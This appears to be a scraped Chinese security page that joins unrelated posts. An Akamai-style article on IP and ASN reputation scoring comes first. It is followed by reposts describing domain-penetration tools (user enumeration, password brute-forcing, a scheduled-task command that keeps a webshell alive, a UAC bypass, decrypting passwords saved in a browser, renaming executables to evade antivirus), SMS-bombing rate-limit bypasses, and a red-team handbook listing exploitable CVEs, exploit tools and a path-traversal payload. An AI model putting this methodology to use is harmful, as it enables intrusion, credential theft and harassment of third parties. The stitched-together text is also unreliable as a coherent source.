在更大的範圍內，阻止來自CDN或託管服務的單個IP可能會導致阻止數千個網站。我們以白名單的形式提供保護以避免這些極端情況，但必須要注意，某些用例可能會優先考慮更廣泛的威脅保護而不是誤報。綜上所述，此種策略的弊端太大。



不過Akamai可以通過大量數據輸入來解決上述弊端，例如：



Akamai Intelligent Edge Platform上通過IP發起的攻擊；



每天來自數十億次DNS查詢的檢測；



IP流行度源自每天數十億的DNS查詢；



其他形式的內部和第三方情報；



有多個來源，包含數百萬IP的正面(合法IP)和負面(惡意IP)證據。我們需要結合這些資源為每個IP創造一個分數。為此，我們採用貝葉斯方法，其複雜性在於確定每個源的權重。這樣做的目的是建立一個更全面的風險評估，考慮到不同的來源。分數越高，負面證據就越多。分數越低，惡意證據就越少，或者正面和負面證據混合在一起。根據應用程序的不同，可以選擇一個閾值來實現誤報和真實所需的平衡。這比典型的基於IP的風險評估更進了一步，在這種評估中，了解ASN的力量及其可能產生的影響勢在必行。



什麼是自治系統？簡而言之，自治系統就是互聯網的構建方式。每個自治系統都映射到一個數字，因此我們通常說ASN（自治系統號）。每個ASN都有一個IP池，每個ASN負責使用邊界網關協議(BGP)在其網絡內路由流量並通過Internet與其他ASN通信。



在這篇文章中，我們只聚焦IPv4，其中包括大約7萬個自主系統。



ASN可以以不同的方式進行分類，以了解它們在互聯網上的位置。例如，“從多個優勢點描述互聯網層次結構https://ieeexplore.ieee.org/abstract/document/1019307”查看BGP表，從商業角度對ASN的角色進行分類。 “使用深度學習揭示自治系統之間的關係類型https://ieeexplore.ieee.org/document/9110358”使用深度學習來理解ASN之間的關係類型。要了解ASN背後的組織，我們可以查看“揭示自治系統分類法：機器學習方法https://arxiv.org/abs/cs/0604015”，它試圖將ASN自動分類為大型ISP、小型ISP、大學、互聯網交換點和網絡信息中心。最近，在“BGP2Vec：揭示自治系統的潛在特徵https://ieeexplore.ieee.org/abstract/document/9761992”中使用了word2Vec樣式的模型，將ASN分類到應用互聯網數據分析中心的交通/訪問、內容、教育/研究和企業類別中。



ASN大小讓我們看看前10個最大的ASN的IPv4地址池大小（表1）。最大的ASN歸美國國防部網絡信息中心所有。名單上的其他公司包括大型ISP、雲計算公司和跨國企業集團。我們排除了ASN 0，因為它是用來識別不可路由網絡的。



 1.png



按IPv4地址池大小排列的前10個最大的ASN



下圖進一步顯示了這10個ASN的影響。前10個ASN約佔分配的IPv4地址空間的25%。相比之下，只有16%的IPv4地址空間分配給前1000個之外的69000個ASN，因此互聯網流量中存在類似於域或IP的ASN的長尾。這是分配給相對較小百分比的大量互聯網。這是我們在確定有效的ASN風險評估時必須考慮多個數據輸入的部分原因。正如你將在本文後面了解到的那樣，並非所有ASN都是平等的。



 2.png



ASNIPv4地址池大小占全部IPv4地址池的百分比



地理位置位置在真正理解ASN方面也起著重要作用。為了詳細說明這一點，我們構建了一個散點圖，其中包含與每個國家/地區關聯的ASN數量與這些ASN的IP池大小的關係。



 3.png



與每個ASN關聯的國家與這些ASN的IP池大小



在前10大ASN中，美國有6個，在IP總數和ASN總數方面均領先。緊隨美國之後的是：巴西、英國、丹麥、印度和俄羅斯。繼續向左移動一點，我們可以看到中國、日本和韓國的ASN數量要少得多，但其數量比巴西和俄羅斯等國要多。考慮到我們所知道的前1000名ASN和其他69000名之間的差距，當遇到某個國家的IP並為其創建風險評估時，可能會面臨一些獨特的挑戰。



例如，對於ASN數量較少但IP較多的國家/地區，惡意IP更有可能與合法IP在同一個ASN中，這意味著在僅基於ASN的阻止時可能更難以避免誤報。使用AkamaiDNS數據，我們看到與中國ASN相關的所有已解析IP均來自383個ASN，而俄羅斯則為2311個。因此，在中國和俄羅斯阻止ASN的影響，就不能採用同一種方法了。例如，在中國屏蔽整個ASN會佔用整個互聯網部分，而在俄羅斯屏蔽整個ASN會佔用更少的資源。這就是為什麼我們不能完全避免僅僅基於IP的風險評估，以及為什麼我們在創建接下來討論的ASN風險評估時必須考慮到了這一點。



ASN風險評估4.png



我們對ASN信譽的定義很簡單：一個ASN的信譽衡量的是該ASN中任何給定的活躍IP被惡意攻擊的概率。



為了計算這個概率，我們擴展了貝葉斯方法，如前所述，將每個IP的分數和權重向上輸入到它們所屬的ASN。 Akamai數據用於估計ASN中活躍IP的數量。當我們對每個ASN的多個IP進行聚合時，我們希望我們的ASN信譽計算能夠受益於大數定律，從而計算出最準確的風險評估。例如，如果一個ASN有兩個IP，有30%的機率是惡意的，那麼兩個IP都是惡意的機率都很高，因此可以評估ASN本身是沒有惡意的。這與擁有1000個IP的ASN形成了鮮明的對比，所有的惡意可能性為30%。在這種情況下，可以推斷出該ASN中30%的IP實際上是惡意的，這使得它們比第一個示例中明顯更危險。



跟踪我們不知道的內容以及我們數據中存在的偏差非常重要。將會有我們擁有大量數據的ASN，以及數據很少的ASN。為了盡可能地解決這個問題，我們需要記錄證據數量，它反映了我們擁有的數據量，也可用於計算可能的ASN風險評估值的分佈。從本質上講，我們認為是良性的IP與我們知道是良性的IP（甚至是我們知道是惡意的IP）之間存在顯著差異。當我們擁有較少的數據時，我們可能會假設風險評估較低，但在這種情況下，我們也會記錄較低的證據數量以將結果置於上下文中。在做出有關ASN的決定時，應使用這兩個數字。



ASN風險評估情況下圖顯示了根據池大小的日誌繪製的每個ASN的風險評估。我們看到，隨著風險評估越來越差，ASN的池規模不太可能大。為了更容易理解這些信息，我們將ASN信譽分為四組：



良性：ASN內部發生惡意活動的機率極低；



可能是良性的：主要是良性的，ASN內發生惡意活動的可能性相對較低；



潛在惡意：應謹慎行事，大部分是良性的，但可以檢測到一些惡意活動；



可能惡意：應謹慎或避免，惡意活動與良性的比率表明ASN主要是惡意的或對惡意活動缺乏足夠的控制。



 5.png



針對IP地址池大小繪製的每個ASN的風險評估



IPv4地址空間排名前10位的ASN都位於上圖右下角。這意味著他們大多數都有良好的信譽，只有少數例外。圖中突出顯示了異常值的ISP、移動網絡運營商(MNO)和託管服務提供商。與類似的大型ASN相比，它們具有更高的風險評估。數據顯示，這是由各種威脅類型驅動的。似乎有一些潛在的因素使這些ASN的風險更高。我們還必須記住，與這些非常大的ASN相比，惡意活動的相對數量很小，較小的ASN風險更大。



上圖出現的AkamaiASN都具有“良性”風險評估。但是，是什麼讓一個CDN比另一個更具風險呢？這可能是因為攻擊者的進入門檻較低，例如監控效果較差或控制較少。



我們還在上圖中突出了兩組總共13個ISP/MNOASN，可以看出它們的風險評估明顯更高。當我們更深入地觀察時，我們大多會看到來自這些ASN的殭屍網絡和掃描活動的混合。我們可以推測這些ASN更容易受到惡意軟件感染。



當我們繼續向圖的左上角移動時，我們會看到ASN長尾中具有各種威脅類型的風險部分。通常，我們會看到IP地址被用於託管惡意活動，如釣魚網站、惡意文件或掃描程序。在某些情況下，我們能夠看到TOR網絡出口節點，這可能是惡意活動的代理。



在線流量中的風險ASN到目前為止，我們已經從IP空間的角度查看了ASN風險評估，但是從在線流量角度來看，有風險的ASN出現的頻率是多少？下圖中顯示了一天中AkamaiDNS流量的變化，其中包含大約600億次查詢。總共76.6%的查詢來自“良性”和“可能良性”類別的ASN，18.1%來自“潛在惡意”類別，進一步強調合法和非法服務可以從同一個ASN運行。這些DNS查詢中共有5.3%解析為來自ASN的IP，其風險評估屬於“可能惡意”類別，這表明在高度鎖定的用例中，基於ASN的阻止的潛力在於識別真正的風險而不是避免誤報。



 6.png



一天中Akamai DNS流量的變化



採取IP來預測攻擊風險就是要精準控制，即精度是最大的問題，希望盡量減少被阻止的合法服務的數量。在其他情況下，例如，在高度控制的環境中，減少誤報的比率很重要。



在沒有ASN信譽背書的情況下，我們在查看證據之前的假設是，所有IP都是合法的。 ASN信譽解鎖了對這些先前假設採取分層方法的能力。如果該IP的ASN非常糟糕，這可以作為我們預測攻擊風險發生的起點，我們可以在收集更多證據時更新我們的數據。 ASN中其他IP的得分會影響該IP的最終得分，並可能影響其是否被阻止。



阻止整個ASN在高度鎖定的環境中，可能需要根據其信譽來阻止整個ASN。由於ASN的信譽是不斷評估的，這個列表不需要是靜態的。隨著信譽的下降，新的ASN將被自動添加。同樣，當我們看到ASN威脅較小的證據時，可以放寬阻止。



總結在討論風險評估時，總會存在細微差別，但ASN風險評估有可能徹底改變安全行業。就像安全的所有其他方面一樣，沒有靈丹妙藥，每個組織都必須做出最適合其環境的決策。但是，超越僅基於IP的風險評估方法的能力允許在你的允許列表和阻止列表中採用更主動的防禦模型。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			

				

					
					
					
						
						域渗透小工具分享
					
					

				

				
			

		

	

	

		

			
0x01. NetLocalGroupGetMembers


功能：查询目标服务器本地管理组的成员


yzegalkkkhi14138.png


0x02. NetLocalGroupEnum


功能：返回指定服务器上的所有本地组


imlxc0xa5ru14140.png


0x03. NetGroupGetUsers


功能：返回指定服务器指定组的所有成员


查询域里的各个组里的成员，IP必须是域控IP


ynhubimtp4x14141.png
 


0x04. NetUserEnum


功能：查询目标服务器所有用户，包括隐藏用户


ffaz2awy0uq14150.png


dqdofqwy3fs14151.png
 


0x05. wnetaddconnection2a


功能：建立IPC连接，可以将目标共享目录映射到本地磁盘


upvtn00hlew14152.png


0x06. WNetCancelConnection2


功能：删除IPC连接


bq5n0fpdrf214153.png


0x07. EnuDomainUser


功能：枚举域用户


1. 介绍


适用于：当前边界机器权限是工作组机器，通过nltest或者nbtscan等工具发现内网有域环境，并且找到域控IP，但是没有域用户的权限下渗透思路。


前提条件：能够和域控建立空连接


实现原理：域管默认都会有administrator用户，通过windows api查出administrator域管的SID，然后遍历SID范围，枚举出域成员（域用户和域机器）。


SID范围：域用户和域机器的SID一般是1000以上，所以使用工具的时候遍历1000以上的SID


2. 工具使用


使用帮助：



C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目




使用demo：


EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100


参数解释：



192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点，例如10000，20000等
100           是多线程的数目




0m0mghaayrh14154.png


dsa3tj1ayo514155.png
 


0x08. BlastDomainUserPwd


功能：爆破域用户密码


1. 介绍


通过IPC连接->爆破域用户的密码


结合EnuDomainUser工具或者kerbrute工具获取域用户名列表，然后进行爆破


如果被360杀，改一下exe名字即可


设计思路：


    

  1. 如果能够和域控建立空连接，则用EnuDomainUser工具枚举遍历出所有域用户名
    2. 

  2. 如果不能够和域控建立空连接，则用kerbrute工具爆破域用户名
    3. 



当获取到一批域用户名后，开始尝试域用户密码的弱口令爆破


域用户密码有强度要求，则尝试爆破强弱口令。例如：P@ssw0rd、1qaz@WSX等


2. 工具的使用



Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目




域用户名字典格式规范：域名\域用户名


domain\user


u5mtfuyta0d14156.png
 


运行实例： BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3


vx4he3loyxl14157.jpg


成功爆破出的域用户密码保存在当前目录的success.txt文本里


 

nbjejvdrnia14158.png
 

 


0ctkx5pp2jx14159.png


0x09. SchtaskBackDoorWebshell


功能：计划任务维持webshell


1. 适用场景：


护网中被防守方发现webshell，并清除出去，漏洞也被修复，然后网站恢复后不能再上传webshell时，通过计划任务重写webshell。


2. 条件：


管理员权限，因为创建计划任务得需要管理员权限


3. 使用方法：


xxxx.exe c:\wwww\upload\1.jsp


4. 实现过程：


将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里，然后创建了一个计划任务，执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp，每半小时触发一次。


5. 视频展示：


xfsfunuruwv14173.gif


0x10. regeditBypassUAC


功能：过uac执行exe，编译好的exe只适用于win10，win7不行


1. 具体过程


基于白名单程序注册表bypassUAC


2. 视频演示


2oyjf5vellk14180.jpg
 


0x11. delegationVul


功能：检测内网域的约束委派


1. 约束委派利用


约束委派利用


2. 视频演示


a1q0ww0ews114185.jpg


3. 基于资源的约束委派利用


基于资源的约束委派利用


4. 视频演示


 

xbsxv5xw5os14188.jpg
 

 


0x12. 360SafeBrowserDecrypt


功能：



直接在目标机器上运行，但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db



ztikat1xwjk14193.png


结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具：  链接：https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA  提取码：ryzx



ep4isrda0gd14205.jpg


分析文章：动态调试360安全浏览器获取密钥


 

原文链接： https://github.com/SkewwG/domainTools
 
 
 
 
hh4wm2qszqa14206.jpg

 



 

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			在测试甲方业务或者挖 SRC 等业务的时候，经常碰到发送短信验证的地方，我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞， 简单的漏洞也是需要清晰的思维分析，拿几个短信轰炸多个绕过案例分享，高危挖不动低危拿来凑。
1. 参数污染绕过
参数污染，就是说后台发送短信的时候会取数字那部分，当你混入其他字符之后绕过了对已经发送的手机号码的限制的校验：nkenvbvhmcc14122.jpg2. 变量污染绕过
所谓变量污染呢， 大概因为后台校验了第一个变量的内容都当成了值处理，但是当数据包在传递到后台过去的时候，如果参数名是一样的时候，是会以第二个、第三个、第四个…最后那个参数为基准去传递，因此绕过了后台的限制njyobezzqof14123.jpgocklkeisrsf14124.jpg

3. 数据长度绕过
手机号码的定义是 11 位数，但是后台没有对传递的手机号码做校验长度，比如123=0123=00123，通过该方法来进行一个手机号码的绕过： 【狗的一个漏洞】5nbjsrecjlq14126.jpg【找不到图片了】

4. 修改变量参数绕过
比较常见就是发送验证码的时候前端带入一个状态，通过修改这个状态可以来绕过系统的限制，如已注册的用户不能发送短信或者相反未注册的用户不能发送短信
Flase 改成 truehq5lak4qmdn14127.jpg


5. Cookie 替换绕过
换汤不换药，校验用户的凭证放在了 cookie 中，通过修改 cookie 中的某些参数可以打到绕过对以发送/已注册的手机号码进行发送短信：dy5sc53kmx214128.jpgyxk0ypxtrfr14129.jpg
6. 【空格绕过短信轰炸】【无图】
发送短信的时候是 11 位数，但是数据库没有限制字段长度为 11，通过添加空格绕过了原有的校验，但是后台发送号码的时候，取有效字符前面的字段，导致了出现被绕过的方法。

7. 【验证码可复用导致短信轰炸漏洞】【无图】
在吃了用户名爆破或者密码爆破漏洞亏之后，加入了验证码的校验，但是验证码在发送的时候抓包不放行， 验证码不会失效，引起的短信轰炸漏洞。
8. 【基于 API 接口绕过】 【无图】
这一个漏洞的话， 一般是前台输入手机号码， 发送请求 1 到后台判断是否可以执行发送请求
2， 否的话返回 False 或者 error， 成功的话返回一个 true 或者 success， 只要找到返回的这
个接口， 说不定也可以找到这种漏洞。

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			

				

					
					
					
						
						红方人员实战手册
					
					

				

				
			

		

	

	

		

			
日常流程简要说明
入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察，搜集阶段本身就不存在太多可防御的点，非防御重心 ]
1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING，查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名，并批量对多个子域名进行ping，可判断该子域名的IP段就是真实IP段（主站用了CND，而子域名分站不用Cdn解析）
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅，很多网站都自带 sendmail，会发邮件给我们，此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN，通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段：
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼：https://www.zoomeye.org
Shodan：https://www.shodan.io
Fofa：https://fofa.s
(11).奇特的 ping
如ping www.163.com，如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时，通过对set-cookie关键字的解码真实ip也可被获取，例如：Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000，先把第一小节的十进制数即487098378取出来，然后将其转为十六进制数1d08880a，接着从后至前，以此取四位数出来，也就是0a.88.08.1d，最后依次把他们转为十进制数10.136.8.29，也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具：iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具：御剑端口扫描，Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输：
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破：
Layer
(4).批量抓取目标所有子域 Web banner
Layer
（5）、批量对目标所有子域集中进行基础服务端口探测识别
工具：御剑端口扫描，Goby
（6）批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
（6）从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
（6）从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索） 
（7）从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具：Seay SVN漏洞利用工具
（9）网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具：御剑目录，dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集，员工工号到官网网站或者社工库和github上搜索
（13）目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
（14）目标微信小程序以及公众号
（15）分析目标app Web请求
（16）借助js探针搜集目标内网信息
（17）想办法混入目标的各种 内部QQ群 / 微信群
（18）分析目标直接供应商 [尤其是技术外包]
（19）根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
（20）目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f（waf识别） 
（21）BypassWAF 文件上传 / 读取 / 下载
（22） BypassWAF Sql注入
（23） BypassWAF RCE
（24） BypassWAF 各类Java Web中间件已知Nday漏洞利用
（25）BypassWAF Webshell 免杀
	
其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]
此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件"

针对各类Java中间件的各种已知Nday漏洞利用
不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的

  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057

利用工具：
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell

工具检查和漏洞利用：
https://github.com/0xn0ne/weblogicScanner（工具检查）
https://github.com/zhzyker/exphub/tree/master/weblogic （工具利用） 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell

利用工具：
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell

  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]

漏洞利用总结：
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行

漏洞利用总结：
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露

漏洞总结：
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令
默认账号密码都是guest/guest(默认端口：15672，25672,15692）
  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell

漏洞利用：
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell

漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历

漏洞利用：
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254

漏洞利用：
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]

漏洞利用：
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露

  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用
针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]
AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用
Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用
  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269

  • 禅道项目管理系统
SQL注入
文件读取
远程执行

  • 通达OA
SQL注入
任意上传

  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....

  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670

  • Citrix
CVE-2019-19781

  • Jumpserver
身份验证绕过

  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露

  • Cacti
低版本 SQL注入
控制台弱口令

  • Nagios
CVE-2016-9565
控制台弱口令

  • Webmin RCE
CVE-2019-15107 

  • PHPMailer
CVE-2016-10033

  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]
各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]
后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS（实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用
  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]

  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]

  • Sangfor Vpn RCE
0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用，防御重点 ( "重中之重" ) ]
此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明

  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
